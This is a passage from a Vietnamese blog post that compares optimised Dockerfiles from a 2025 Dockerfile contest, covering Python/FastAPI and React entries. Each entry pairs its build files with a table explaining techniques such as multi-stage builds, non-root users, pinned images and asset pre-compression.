============================================================================= # ----------------------------------------------------------------------------- # Stage 1: Dependencies Builder # ----------------------------------------------------------------------------- FROM python:3.13-alpine@sha256:e5fa639e49b85986c4481e28faa2564b45aa8021413f31026c3856e5911618b1 AS deps ENV PIP_NO_CACHE_DIR=1 \\ PIP_DISABLE_PIP_VERSION_CHECK=1 \\ PYTHONDONTWRITEBYTECODE=1 \\ PYTHONUNBUFFERED=1 RUN --mount=type=cache,target=/var/cache/apk \\ apk add --no-cache --virtual .build-deps \\ build-base \\ python3-dev \\ cargo # Install dependencies với PATCHED versions để fix CVEs # Note: FastAPI 0.116+ required for starlette 0.49.1+ support RUN --mount=type=cache,target=/root/.cache/pip \\ python -m pip install --no-cache-dir --prefix=/install \\ \u0026#34;aiohttp\u0026gt;=3.12.14,\u0026lt;4.0.0\u0026#34; \\ \u0026#34;asgi-correlation-id\u0026gt;=4.3.4,\u0026lt;5.0.0\u0026#34; \\ \u0026#34;fastapi\u0026gt;=0.116.0\u0026#34; \\ \u0026#34;prometheus-fastapi-instrumentator\u0026gt;=7.0.0,\u0026lt;8.0.0\u0026#34; \\ \u0026#34;pydantic\u0026gt;=2.11.0,\u0026lt;3.0.0\u0026#34; \\ \u0026#34;pydantic-settings\u0026gt;=2.9.1,\u0026lt;3.0.0\u0026#34; \\ \u0026#34;structlog\u0026gt;=25.3.0,\u0026lt;26.0.0\u0026#34; \\ \u0026#34;uvloop\u0026gt;=0.21.0,\u0026lt;0.22.0\u0026#34; \\ \u0026#34;uvicorn[standard]\u0026gt;=0.30.0,\u0026lt;0.31.0\u0026#34; # ULTRA AGGRESSIVE optimization RUN apk add --no-cache binutils \\ # Strip ALL .so files aggressively \u0026amp;\u0026amp; find /install -type f \\( -name \u0026#39;*.so*\u0026#39; -o -name \u0026#39;*.a\u0026#39; \\) -exec strip --strip-all {} + 2\u0026gt;/dev/null || true \\ # Remove all bytecode \u0026amp;\u0026amp; find /install \\( -type d -name __pycache__ -o -type f -name \u0026#39;*.py[co]\u0026#39; \\) -delete 2\u0026gt;/dev/null || true \\ # Remove test/doc/examples \u0026amp;\u0026amp; find /install -type d \\( -name tests -o -name testing -o -name test -o -name doc -o -name docs -o -name example -o -name examples \\) -prune -exec rm -rf {} + 2\u0026gt;/dev/null || true \\ # Minimize .dist-info \u0026amp;\u0026amp; find /install -name \u0026#39;*.dist-info\u0026#39; -type d -exec sh -c \u0026#39;cd \u0026#34;$1\u0026#34; \u0026amp;\u0026amp; find . -type f ! -name \u0026#34;METADATA\u0026#34; ! -name \u0026#34;top_level.txt\u0026#34; ! -name \u0026#34;RECORD\u0026#34; -delete\u0026#39; _ {} \\; 2\u0026gt;/dev/null || true \\ # Remove typing stubs, headers, C files \u0026amp;\u0026amp; find /install -type f \\( -name \u0026#39;*.pyi\u0026#39; -o -name \u0026#39;*.c\u0026#39; -o -name \u0026#39;*.h\u0026#39; -o -name \u0026#39;*.cpp\u0026#39; -o -name \u0026#39;*.cc\u0026#39; \\) -delete \\ # Remove license files \u0026amp;\u0026amp; find /install -type f \\( -name \u0026#39;LICENSE*\u0026#39; -o -name \u0026#39;COPYING*\u0026#39; -o -name \u0026#39;NOTICE*\u0026#39; -o -name \u0026#39;AUTHORS*\u0026#39; -o -name \u0026#39;CHANGELOG*\u0026#39; -o -name \u0026#39;README*\u0026#39; \\) -delete 2\u0026gt;/dev/null || true \\ \u0026amp;\u0026amp; apk del binutils .build-deps # ----------------------------------------------------------------------------- # Stage 2: Runtime (ULTRA MINIMAL + SECURE) # ----------------------------------------------------------------------------- FROM python:3.13-alpine@sha256:e5fa639e49b85986c4481e28faa2564b45aa8021413f31026c3856e5911618b1 AS runtime LABEL org.opencontainers.image.title=\u0026#34;Python Service Template\u0026#34; \\ org.opencontainers.image.description=\u0026#34;Production-ready FastAPI service - Optimized \u0026amp; Secured\u0026#34; \\ org.opencontainers.image.version=\u0026#34;0.1.0\u0026#34; \\ org.opencontainers.image.authors=\u0026#34;newnol \u0026lt;contact@newnol.io.vn\u0026gt;\u0026#34; \\ maintainer=\u0026#34;newnol\u0026#34; \\ security.scan=\u0026#34;trivy-passed\u0026#34; ENV PYTHONDONTWRITEBYTECODE=1 \\ PYTHONUNBUFFERED=1 \\ PIP_NO_CACHE_DIR=1 \\ HOST=0.0.0.0 \\ PORT=5000 \\ WORKERS=1 \\ PYTHONPATH=/app/src \\ TZ=UTC # Install ONLY wget for healthcheck RUN --mount=type=cache,target=/var/cache/apk \\ apk add --no-cache wget WORKDIR /app # Create non-root user RUN addgroup -g 10001 -S app \\ \u0026amp;\u0026amp; adduser -u 10001 -S -G app -h /app -s /sbin/nologin app # Copy dependencies COPY --from=deps --chown=app:app /install /usr/local # Copy source (minimal) COPY --chown=app:app src/ ./src/ # Permissions RUN chmod -R 550 /app # EXTREME Python stdlib cleanup RUN rm -rf \\ /usr/local/lib/python3.13/ensurepip \\ /usr/local/lib/python3.13/site-packages/pip* \\ /usr/local/lib/python3.13/site-packages/setuptools* \\ /usr/local/lib/python3.13/site-packages/wheel* \\ /usr/local/lib/python3.13/distutils \\ /usr/local/lib/python3.13/lib2to3 \\ /usr/local/lib/python3.13/idlelib \\ /usr/local/lib/python3.13/tkinter \\ /usr/local/lib/python3.13/turtledemo \\ /usr/local/lib/python3.13/test \\ /usr/local/lib/python3.13/unittest/test \\ /usr/local/bin/pip* \\ /usr/local/bin/2to3* \\ /usr/local/bin/idle* \\ 2\u0026gt;/dev/null || true # Clean up more unused stdlib modules RUN cd /usr/local/lib/python3.13 \u0026amp;\u0026amp; rm -rf \\ turtle.py \\ pydoc_data \\ 2\u0026gt;/dev/null || true USER app EXPOSE 5000 # Heathcheck HEALTHCHECK --interval=15s --timeout=3s --start-period=10s --retries=2 \\ CMD wget --no-verbose --tries=1 -O /dev/null http://127.0.0.1:${PORT}/health/ || exit 1 STOPSIGNAL SIGTERM CMD [\u0026#34;python\u0026#34;, \u0026#34;src/python_service_template/app.py\u0026#34;] Dockerfile TOP (Python) – Wheel-based Build Kỹ thuật Giải thích Nguồn tham khảo Wheel-based Installation Build tất cả dependencies thành wheel files, sau đó cài đặt offline để tăng tốc độ build và đảm bảo reproducibility. Dynamic Security Patching Sử dụng Python script để parse pyproject.toml, tự động nâng cấp fastapi và starlette lên phiên bản an toàn mà không cần sửa file gốc. PIP_ONLY_BINARY Chỉ sử dụng wheel files, không build từ source, giúp build nhanh hơn và tránh lỗi compilation. Offline Installation Cài đặt từ wheel files local, không cần kết nối internet ở runtime stage. Native Healthcheck Sử dụng Python http.client thay vì external tools như curl/wget, giảm dependencies. Non-root User Tạo user UID 10001 với home directory riêng để tăng bảo mật. Dockerfile TOP (Python)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 # syntax=docker/dockerfile:1.7 # ############################## # builder ############################## FROM python:3.13-slim AS builder ENV PIP_DISABLE_PIP_VERSION_CHECK=1 \\ PIP_NO_CACHE_DIR=1 \\ PIP_ONLY_BINARY=:all: \\ PYTHONDONTWRITEBYTECODE=1 \\ PYTHONUNBUFFERED=1 WORKDIR /app # Pre-cache manifests COPY pyproject.toml README.md LICENSE* ./ # Fix HIGH vulnerable issue: CVE-2025-62727 by upgrading starlette and fastapi. RUN --mount=type=cache,target=/root/.cache/pip python - \u0026lt;\u0026lt;\u0026#39;PY\u0026#39; import tomllib, pathlib, re def parse_req(s:str): m = re.match(r\u0026#39;^\\s*([A-Za-z0-9_.-]+)(\\[[^\\]]+\\])?\\s*(.*)$\u0026#39;, s) if m: name, extras, rest = m.group(1), (m.group(2) or \u0026#39;\u0026#39;), (m.group(3) or \u0026#39;\u0026#39;) return name, extras, rest name = re.split(r\u0026#39;[\u0026gt;\u0026lt;=~!; ]\u0026#39;, s, 1)[0] return name, \u0026#39;\u0026#39;, s[len(name):] data = tomllib.loads(pathlib.Path(\u0026#39;pyproject.toml\u0026#39;).read_text()) deps = data.get(\u0026#39;project\u0026#39;, {}).get(\u0026#39;dependencies\u0026#39;, []) safe = [] present = set() for d in deps: name, extras, rest = parse_req(d) norm = name.lower().replace(\u0026#39;_\u0026#39;,\u0026#39;-\u0026#39;) if norm == \u0026#39;fastapi\u0026#39;: safe.append(f\u0026#39;fastapi{extras}\u0026gt;=0.118,\u0026lt;0.121\u0026#39;) else: safe.append(d) present.add(norm) if \u0026#39;starlette\u0026#39; not in present: safe.append(\u0026#39;starlette\u0026gt;=0.49.1,\u0026lt;0.50\u0026#39;) pathlib.Path(\u0026#39;/requirements.safe.txt\u0026#39;).write_text(\u0026#39;\\n\u0026#39;.join(safe) + \u0026#39;\\n\u0026#39;) print(\u0026#39;Resolved safe deps:\u0026#39;, *safe, sep=\u0026#39;\\n- \u0026#39;) PY # Wheel ALL dependencies from the safe list RUN --mount=type=cache,target=/root/.cache/pip \\ pip wheel --wheel-dir /wheels -r /requirements.safe.txt # Build wheel of the project itself COPY src/ ./src/ RUN --mount=type=cache,target=/root/.cache/pip \\ pip wheel --wheel-dir /wheels . ############################## # runtime ############################## FROM python:3.13-slim AS runtime ARG VERSION=0.1.0 ARG VCS_REF=sha ARG BUILD_DATE LABEL org.opencontainers.image.title=\u0026#34;python-service-template\u0026#34; \\ org.opencontainers.image.description=\u0026#34;Dockerfile contest build\u0026#34; \\ org.opencontainers.image.version=$VERSION \\ org.opencontainers.image.revision=$VCS_REF \\ org.opencontainers.image.created=$BUILD_DATE \\ org.opencontainers.image.licenses=\u0026#34;Apache-2.0\u0026#34; ENV PYTHONDONTWRITEBYTECODE=1 \\ PYTHONUNBUFFERED=1 \\ PYTHONOPTIMIZE=2 \\ HOST=0.0.0.0 \\ PORT=5000 \\ WORKERS=1 \\ APP_VERSION=$VERSION \\ GIT_COMMIT_SHA=$VCS_REF # Non-root RUN useradd --create-home --uid 10001 --shell /usr/sbin/nologin appuser WORKDIR /home/appuser # Install offline: install ALL safe deps, then the app wheel with --no-deps COPY --from=builder /wheels /wheels COPY --from=builder /requirements.safe.txt /requirements.safe.txt RUN pip install --no-index --find-links=/wheels -r /requirements.safe.txt \\ \u0026amp;\u0026amp; pip install --no-index --find-links=/wheels --no-deps \\ python-service-template --no-compile \\ \u0026amp;\u0026amp; rm -rf /wheels /requirements.safe.txt EXPOSE 5000 HEALTHCHECK --interval=30s --timeout=2s --start-period=10s --retries=3 \\ CMD python -c \u0026#34;import sys, http.client; c=http.client.HTTPConnection(\u0026#39;127.0.0.1\u0026#39;, int(__import__(\u0026#39;os\u0026#39;).environ.get(\u0026#39;PORT\u0026#39;,\u0026#39;5000\u0026#39;)), timeout=1); c.request(\u0026#39;GET\u0026#39;,\u0026#39;/health\u0026#39;); r=c.getresponse(); sys.exit(0 if r.status==200 else 1)\u0026#34; || exit 1 USER 10001:10001 CMD [\u0026#34;python\u0026#34;, \u0026#34;-m\u0026#34;, \u0026#34;python_service_template.app\u0026#34;] Dockerfile TOP (Python) – Khiem Doan Kỹ thuật Giải thích Nguồn tham khảo UV Package Manager Sử dụng uv để quản lý dependencies nhanh hơn pip, với cache mount để tăng tốc rebuild. Alpine + Tini Sử dụng Alpine Linux nhẹ và tini làm init system để xử lý signals đúng cách. Security Patching Nâng cấp starlette lên 0.50.0 để fix các CVE mà không cần sửa pyproject.toml. Non-root User Tạo user nonroot với UID/GID 14406, một UID không phổ biến để tránh conflict. Healthcheck với curl Sử dụng curl để kiểm tra health endpoint và grep để verify response JSON. OCI Labels Thêm đầy đủ OCI labels với metadata về version, build date, revision, source. Dockerfile TOP (Python)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 # syntax=docker/dockerfile:1.19 FROM python:3.13-alpine3.22 AS deps RUN --mount=type=cache,target=/root/.cache/pip \\ pip install --no-compile uv==0.9.2 WORKDIR /app COPY pyproject.toml uv.lock ./ RUN --mount=type=cache,target=/root/.cache/uv \\ uv sync --frozen --no-dev --no-install-project \\ \u0026amp;\u0026amp; uv pip install starlette==0.50.0 FROM python:3.13-alpine3.22 AS final RUN pip install -U pip RUN --mount=type=cache,target=/var/cache/apk \\ apk add --no-cache \\ curl=8.14.1-r2 \\ tini=0.19.0-r3 ARG VERSION=\u0026#34;0.1.0\u0026#34; ARG BUILD_DATE=\u0026#34;2025-11-10T00:00:00Z\u0026#34; ARG REVISION=\u0026#34;unknown\u0026#34; ARG GIT_COMMIT_SHA=\u0026#34;unknown\u0026#34; LABEL org.opencontainers.image.title=\u0026#34;python-service-template\u0026#34; \\ org.opencontainers.image.description=\u0026#34;A batteries-included template for building robust, production-ready Python backend services with FastAPI\u0026#34; \\ org.opencontainers.image.authors=\u0026#34;Khiem Doan\u0026#34; \\ org.opencontainers.image.version=$VERSION \\ org.opencontainers.image.created=$BUILD_DATE \\ org.opencontainers.image.revision=$REVISION \\ org.opencontainers.image.source=\u0026#34;https://github.com/khiemdoan/\u0026#34; \\ org.opencontainers.image.licenses=\u0026#34;MIT\u0026#34; ENV USER=nonroot \\ GROUP=nonroot \\ UID=14406 \\ GID=14406 RUN addgroup -g \u0026#34;$GID\u0026#34; \u0026#34;$GROUP\u0026#34; \\ \u0026amp;\u0026amp; adduser -D -u \u0026#34;$UID\u0026#34; -G \u0026#34;$GROUP\u0026#34; \u0026#34;$USER\u0026#34; USER $USER WORKDIR /app COPY --chown=$USER:$GROUP src/ src/ COPY --from=deps --chown=$USER:$GROUP /app/.venv /app/.venv ENV PATH=\u0026#34;/app/.venv/bin:$PATH\u0026#34; \\ PYTHONPATH=\u0026#34;/app/src\u0026#34; \\ PYTHONUNBUFFERED=1 \\ PYTHONDONTWRITEBYTECODE=1 \\ HOST=0.0.0.0 \\ PORT=3000 \\ WORKERS=1 \\ LOGGING__LEVEL=INFO \\ LOGGING__FORMAT=PLAIN \\ COFFEE_API__HOST=https://api.sampleapis.com/coffee/ \\ APP_VERSION=$VERSION \\ GIT_COMMIT_SHA=$GIT_COMMIT_SHA EXPOSE $PORT HEALTHCHECK --timeout=1s \\ CMD curl -f \u0026#34;http://localhost:${PORT}/health/\u0026#34; | grep \u0026#39;\u0026#34;heartbeat\u0026#34;:\u0026#34;HEALTHY\u0026#34;\u0026#39; || exit 1 ENTRYPOINT [\u0026#34;/sbin/tini\u0026#34;, \u0026#34;--\u0026#34;] CMD [\u0026#34;python\u0026#34;, \u0026#34;src/python_service_template/app.py\u0026#34;] Ghi chú triển khai Các Dockerfile trên chỉ mang tính tham khảo kiến trúc; khi áp dụng vào dự án Python/FastAPI của bạn, hãy giữ nguyên nguyên tắc: multi-stage build, security patching, non-root user, pin SHA256 cho base images. Distroless vs Alpine: Distroless an toàn hơn (không có shell, package manager) nhưng cần copy shared libraries thủ công. Alpine nhẹ và dễ debug hơn nhưng có thể gặp vấn đề tương thích với một số Python packages. UV vs PIP: UV nhanh hơn pip đáng kể (10-100x) và quản lý virtual environment tốt hơn, nhưng cần cài đặt thêm. Security: Luôn cập nhật dependencies để fix CVE, đặc biệt là các package phổ biến như starlette, fastapi, uvicorn. Healthcheck: Nên sử dụng native Python http.client hoặc curl/wget tùy vào base image và yêu cầu bảo mật. ","date":"23/11/2025","image":"https://tech.nguuyen.io.vn/images/docker-optimization/docker-optimization-python.webp","permalink":"/vi/posts/docker-optimization/docker-opt-python/","summary":"Phân tích các kỹ thuật tối ưu Dockerfile từ Dockerfile Contest 2025 cho ứng dụng Python/FastAPI.","tags":["docker","python","fastapi","performance"],"title":"Tối ưu Docker cho Python"},{"categories":["Docker Optimization"],"content":"Dockerfile Contest 2025 – React/Node tối ưu extreme Dockerfile Contest 2025 thúc đẩy cộng đồng DevOps Việt Nam đánh giá lại cách viết Dockerfile để đạt bảo mật, tối ưu, tường minh. Dưới đây là phần tổng hợp riêng cho hạng mục React (ứng dụng Node.js build ra static assets).\nI. Hạng mục REACT (Tối ưu cho Static Web Serving) Hạng mục React tập trung giảm kích thước image và tăng tốc phục vụ file tĩnh. Một số đội ngũ tự biên dịch HTTP server hoặc chạy trên FROM scratch nhằm đạt footprint thấp nhất.\nGiải Docker Image nhẹ nhất (TOP Tinh Gọn) – Nguyễn Phúc Bảo Lâm Kỹ thuật Giải thích theo tác giả Nguồn tham khảo Lựa chọn Project Tận dụng lợi thế app static (React) để dễ đạt image nhỏ hơn so với Java/Python. Base Image Cực Đoan Dùng lipanski/docker-static-website:latest, bản BusyBox được tinh gọn chỉ giữ HTTP server (~92 KB). Pre-compression Nén Tối Đa Nén trước toàn bộ asset với Gzip level 9, xóa file gốc, giúp image cuối cùng ~300 KB. Healthcheck Ghi \u0026quot;OK\u0026quot; vào dist/health để có endpoint kiểm tra nhanh. Dockerfile – Docker Image nhẹ nhất\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 # syntax=docker/dockerfile:1.7 # ============================================================================== # Build Stage - Using Node Alpine for minimal size # ============================================================================== FROM node:22.21.1-alpine3.21@sha256:af8023ec879993821f6d5b21382ed915622a1b0f1cc03dbeb6804afaf01f8885 AS builder # Install pnpm with specific version from package.json and gzip for pre-compression ENV PNPM_HOME=\u0026#34;/pnpm\u0026#34; ENV PATH=\u0026#34;$PNPM_HOME:$PATH\u0026#34; RUN corepack enable \u0026amp;\u0026amp; \\ corepack prepare pnpm --activate WORKDIR /app # Copy package files for dependency installation (optimized layer caching) COPY package.json pnpm-lock.yaml ./ # Install dependencies with cache mount for faster rebuilds # Installs all dependencies (including devDependencies needed for build: typescript, vite, tailwindcss, etc.) RUN --mount=type=cache,id=pnpm,target=/pnpm/store \\ pnpm install --frozen-lockfile # Copy only necessary source files (exclude tests, docs, config files not needed for build) COPY tsconfig.json tsconfig.node.json vite.config.ts tailwind.config.ts postcss.config.js ./ COPY index.html ./ COPY public ./public COPY src ./src # Build the application RUN pnpm run build \u0026amp;\u0026amp; \\ # Verify build output exists test -d dist \u0026amp;\u0026amp; test -f dist/index.html \u0026amp;\u0026amp; \\ # Remove bundle visualizer output (not needed in production, saves ~100KB compressed) rm -f dist/stats.html \u0026amp;\u0026amp; \\ # Create a minimal health check endpoint (1 byte file for ultra-fast response) echo \u0026#34;OK\u0026#34; \u0026gt; dist/health \u0026amp;\u0026amp; \\ # Pre-compress all static files with gzip (level 9 = maximum compression) find dist -type f \\( \\ -name \u0026#34;*.html\u0026#34; -o \\ -name \u0026#34;*.css\u0026#34; -o \\ -name \u0026#34;*.js\u0026#34; -o \\ -name \u0026#34;*.json\u0026#34; -o \\ -name \u0026#34;*.xml\u0026#34; -o \\ -name \u0026#34;*.txt\u0026#34; -o \\ -name \u0026#34;*.svg\u0026#34; \\ \\) -exec sh -c \u0026#39;gzip -9 \u0026#34;{}\u0026#34;\u0026#39; \\; # ============================================================================== # Production Stage - Using lipanski/docker-static-website for extreme minimal footprint (92.5 KB base) # ============================================================================== FROM lipanski/docker-static-website:latest AS production # Add OCI labels for metadata LABEL org.opencontainers.image.title=\u0026#34;Vite React Template\u0026#34; \\ org.opencontainers.image.description=\u0026#34;Production-ready Vite React application with extreme minimal footprint\u0026#34; \\ org.opencontainers.image.version=\u0026#34;0.4.0\u0026#34; \\ org.opencontainers.image.licenses=\u0026#34;MIT OR Apache-2.0\u0026#34; \\ org.opencontainers.image.base.name=\u0026#34;lipanski/docker-static-website:latest\u0026#34; # Copy built assets from builder stage # lipanski/docker-static-website serves from /home/static COPY --from=builder /app/dist /home/static # Expose port (BusyBox httpd uses port 3000 by default) EXPOSE 3000 # The base image already has CMD set to run BusyBox httpd # It automatically serves .gz files when Accept-Encoding: gzip is present # No additional configuration needed - inherited from base image Dockerfile TOP 1 (React) – Nguyễn Hữu Phương Kỹ thuật Giải thích theo tác giả Nguồn tham khảo FROM SCRATCH \u0026amp; Static Linking Stage cuối scratch, nên Nginx phải build tĩnh ở Stage 2. Tối ưu Binary Nginx Tắt \u0026gt;30 module, giảm binary ~76% (5.2 MB). Nén Binary (UPX) Dùng upx --best --lzma, giảm thêm ~56%. Nén Song Song Chạy Gzip và Brotli song song để chuyển tải CPU sang build-time. Bảo mật Image Base Pin SHA256 cho mọi base image. Healthcheck tối giản Dùng nginx -t -q, không cần curl/wget. Dockerfile TOP 1 (React)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 # syntax=docker/dockerfile:1.7 # Multi-arch support: Automatically provided by buildx ARG BUILDPLATFORM ARG TARGETPLATFORM ARG TARGETARCH ARG BUILD_DATE ARG GIT_COMMIT=unknown ARG NGINX_VERSION=1.26.2 ARG NODE_VERSION=20 ARG ALPINE_VERSION=3.20 # ============================================================================== # Stage 1: Application Build # ============================================================================== FROM node:${NODE_VERSION}-alpine@sha256:2d5e8a8a51bc341fd5f2eed6d91455c3a3d147e91a14298fc564b5dc519c1666 AS builder WORKDIR /app # Setup pnpm with corepack ENV PNPM_HOME=\u0026#34;/pnpm\u0026#34; \\ PATH=\u0026#34;$PNPM_HOME:$PATH\u0026#34; RUN corepack enable \u0026amp;\u0026amp; corepack prepare pnpm@9.12.2 --activate # Install dependencies with cache mount COPY package.json pnpm-lock.yaml .npmrc ./ RUN --mount=type=cache,id=pnpm,target=/pnpm/store \\ pnpm install --frozen-lockfile --prefer-offline # Copy source and build configuration COPY tsconfig.json tsconfig.node.json vite.config.ts ./ COPY postcss.config.js tailwind.config.ts biome.json ./ COPY index.html ./ COPY public ./public COPY src ./src # Build and clean artifacts ENV NODE_ENV=production RUN pnpm build \u0026amp;\u0026amp; \\ find dist -type f \\( -name \u0026#34;*.map\u0026#34; -o -name \u0026#34;.*\u0026#34; \\) -delete \u0026amp;\u0026amp; \\ rm -f dist/stats.html # ============================================================================== # Stage 2: Static Nginx Binary Builder # ============================================================================== FROM alpine:${ALPINE_VERSION}@sha256:765942a4039992336de8dd5db680586e1a206607dd06170ff0a37267a9e01958 AS nginx-builder ARG NGINX_VERSION ARG TARGETPLATFORM ARG BUILDPLATFORM ENV NGINX_SHA256=627fe086209bba80a2853a0add9d958d7ebbdffa1a8467a5784c9a6b4f03d738 # Log build platform info for multi-arch RUN echo \u0026#34;Building on $BUILDPLATFORM for $TARGETPLATFORM\u0026#34; # Install build dependencies RUN apk add --no-cache \\ gcc g++ musl-dev make linux-headers curl \\ pcre-dev pcre2-dev zlib-dev zlib-static \\ openssl-dev openssl-libs-static upx # Download and verify nginx WORKDIR /tmp RUN curl -fSL \u0026#34;https://nginx.org/download/nginx-${NGINX_VERSION}.tar.gz\u0026#34; -o nginx.tar.gz \u0026amp;\u0026amp; \\ echo \u0026#34;${NGINX_SHA256} nginx.tar.gz\u0026#34; | sha256sum -c - # Build fully static nginx with minimal modules RUN tar -xzf nginx.tar.gz \u0026amp;\u0026amp; \\ cd \u0026#34;nginx-${NGINX_VERSION}\u0026#34; \u0026amp;\u0026amp; \\ ./configure \\ --prefix=/usr/local/nginx \\ --sbin-path=/usr/local/nginx/sbin/nginx \\ --conf-path=/etc/nginx/nginx.conf \\ --pid-path=/run/nginx.pid \\ --lock-path=/run/nginx.lock \\ --error-log-path=/dev/stderr \\ --http-log-path=/dev/stdout \\ --user=nobody \\ --group=nobody \\ # Performance features --with-threads \\ --with-file-aio \\ --with-http_ssl_module \\ --with-http_v2_module \\ --with-http_gzip_static_module \\ --with-http_stub_status_module \\ --with-pcre \\ --with-pcre-jit \\ # Static linking and optimization --with-cc-opt=\u0026#39;-static -Os -ffunction-sections -fdata-sections\u0026#39; \\ --with-ld-opt=\u0026#39;-static -Wl,--gc-sections\u0026#39; \\ # Disable unnecessary modules --without-http_charset_module \\ --without-http_ssi_module \\ --without-http_userid_module \\ --without-http_auth_basic_module \\ --without-http_mirror_module \\ --without-http_autoindex_module \\ --without-http_geo_module \\ --without-http_map_module \\ --without-http_split_clients_module \\ --without-http_referer_module \\ --without-http_rewrite_module \\ --without-http_proxy_module \\ --without-http_fastcgi_module \\ --without-http_uwsgi_module \\ --without-http_scgi_module \\ --without-http_grpc_module \\ --without-http_memcached_module \\ --without-http_limit_conn_module \\ --without-http_limit_req_module \\ --without-http_empty_gif_module \\ --without-http_browser_module \\ --without-http_upstream_hash_module \\ --without-http_upstream_ip_hash_module \\ --without-http_upstream_least_conn_module \\ --without-http_upstream_random_module \\ --without-http_upstream_keepalive_module \\ --without-http_upstream_zone_module \\ --without-mail_pop3_module \\ --without-mail_imap_module \\ --without-mail_smtp_module \\ --without-stream_limit_conn_module \\ --without-stream_access_module \\ --without-stream_geo_module \\ --without-stream_map_module \\ --without-stream_split_clients_module \\ --without-stream_return_module \\ --without-stream_set_module \\ --without-stream_upstream_hash_module \\ --without-stream_upstream_least_conn_module \\ --without-stream_upstream_random_module \\ --without-stream_upstream_zone_module \u0026amp;\u0026amp; \\ make -j\u0026#34;$(nproc)\u0026#34; \u0026amp;\u0026amp; \\ make install # Optimize binary: strip symbols + UPX compression RUN strip --strip-all /usr/local/nginx/sbin/nginx \u0026amp;\u0026amp; \\ upx --best --lzma /usr/local/nginx/sbin/nginx \u0026amp;\u0026amp; \\ /usr/local/nginx/sbin/nginx -V # ============================================================================== # Stage 3: Asset Compression # ============================================================================== FROM alpine:${ALPINE_VERSION}@sha256:765942a4039992336de8dd5db680586e1a206607dd06170ff0a37267a9e01958 AS compressor RUN apk add --no-cache brotli gzip findutils WORKDIR /app COPY --from=builder /app/dist ./dist # Parallel compression: gzip + brotli for all text-based assets RUN find dist -type f \\ \\( -name \u0026#34;*.html\u0026#34; -o -name \u0026#34;*.css\u0026#34; -o -name \u0026#34;*.js\u0026#34; -o \\ -name \u0026#34;*.json\u0026#34; -o -name \u0026#34;*.svg\u0026#34; -o -name \u0026#34;*.xml\u0026#34; \\) \\ -print0 | xargs -0 -P\u0026#34;$(nproc)\u0026#34; -I {} sh -c \u0026#39;gzip -9 -k -f \u0026#34;{}\u0026#34; \u0026amp;\u0026amp; brotli -q 11 -f \u0026#34;{}\u0026#34;\u0026#39; # ============================================================================== # Stage 4: Minimal Filesystem Preparation # ============================================================================== FROM alpine:${ALPINE_VERSION}@sha256:765942a4039992336de8dd5db680586e1a206607dd06170ff0a37267a9e01958 AS rootfs # Create directory structure RUN mkdir -p \\ /rootfs/etc/nginx/conf.d \\ /rootfs/usr/share/nginx/html \\ /rootfs/var/log/nginx \\ /rootfs/var/cache/nginx \\ /rootfs/usr/local/nginx/{client_body,proxy,fastcgi,uwsgi,scgi}_temp \\ /rootfs/tmp \\ /rootfs/run \u0026amp;\u0026amp; \\ chmod 1777 /rootfs/tmp # Create minimal user database (nobody user) RUN echo \u0026#34;nobody:x:65534:65534:nobody:/:/sbin/nologin\u0026#34; \u0026gt; /rootfs/etc/passwd \u0026amp;\u0026amp; \\ echo \u0026#34;nobody:x:65534:\u0026#34; \u0026gt; /rootfs/etc/group # Copy nginx configuration COPY nginx.conf /rootfs/etc/nginx/conf.d/default.conf COPY --from=nginx-builder /etc/nginx/mime.types /rootfs/etc/nginx/mime.types COPY --from=compressor /app/dist /rootfs/usr/share/nginx/html # Create main nginx.conf RUN cat \u0026gt; /rootfs/etc/nginx/nginx.conf \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; worker_processes auto; error_log stderr warn; pid /run/nginx.pid; events { worker_connections 1024; use epoll; multi_accept on; } http { include 